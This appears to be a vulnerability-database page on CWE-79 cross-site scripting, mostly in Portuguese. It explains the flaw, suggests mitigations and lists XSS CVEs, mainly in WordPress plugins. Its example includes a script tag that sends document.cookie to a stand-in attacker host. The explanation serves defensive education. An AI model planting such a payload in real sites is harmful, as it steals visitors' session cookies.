Fallos del tipo CWE-79

30.305 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-13588MEDIUMSimplebooklet PDF Viewer and Embedder <= 1.1.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-62249MEDIUMA reflected cross-site scripting (XSS) vulnerability in the Liferay Portal 7.4.0 through 7.4.3.132, and Liferay DXP 2025.Q3.0 through 2025.QEPSS 0.2%CVE-2025-12710MEDIUMPet-Manager – Petfinder <= 3.6.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via kwm-petfinder ShortcodeEPSS 0.2%CVE-2024-13851MEDIUMModal Portfolio <= 1.7.4.2 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-13701MEDIUMLiveticker (by stklcode) <= 1.2.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-4585MEDIUMIRM Newsroom <= 1.2.19 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'irmflat' ShortcodeEPSS 0.2%CVE-2026-2505MEDIUMCategories Images <= 3.3.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'z_taxonomy_image' ShortcodeEPSS 0.2%CVE-2025-23108MEDIUMFirefox Mobile iOS Full Address Bar Spoof Using Open in New Tab and Javascript URIEPSS 0.2%CVE-2025-9378MEDIUMVayu Blocks <= 1.3.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple Block AttributesEPSS 0.2%CVE-2025-8566MEDIUMGutenBee – Gutenberg Blocks <= 2.18.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-6575MEDIUMXSS in Dolusoft's OmaspotEPSS 0.2%CVE-2024-30114LOWHCL Leap is affected by a cross-site scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-53824MEDIUMWeGIA ReflectedCross-Site Scripting (XSS) vulnerability in endpoint 'cadastro_pet.php' parameter 'msg'EPSS 0.2%CVE-2024-13644MEDIUMDethemeKit For Elementor <= 2.1.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via De Gallery WidgetEPSS 0.2%CVE-2025-5398MEDIUMNinja Forms <= 3.10.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via CSTIEPSS 0.2%CVE-2024-13667MEDIUMUncode <= 2.9.1.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting via mle-descriptionEPSS 0.2%CVE-2024-13517MEDIUMEasy Digital Downloads – Sell Digital Files & Subscriptions (eCommerce Store + Payments Made Easy) <= 3.3.2 - Authenticated (Admin+) Stored Cross-Site Scripting via TitleEPSS 0.2%CVE-2025-8150MEDIUMEvents Addon for Elementor <= 2.2.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Typewriter and Countdown WidgetsEPSS 0.2%CVE-2025-49048MEDIUMWordPress Inspectlet – User Session Recording and Heatmaps plugin <= 2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-12964MEDIUMMagical Products Display <= 1.1.29 - Authenticated (Contributor+) Stored Cross-Site Scripting via MPD Pricing Table WidgetEPSS 0.2%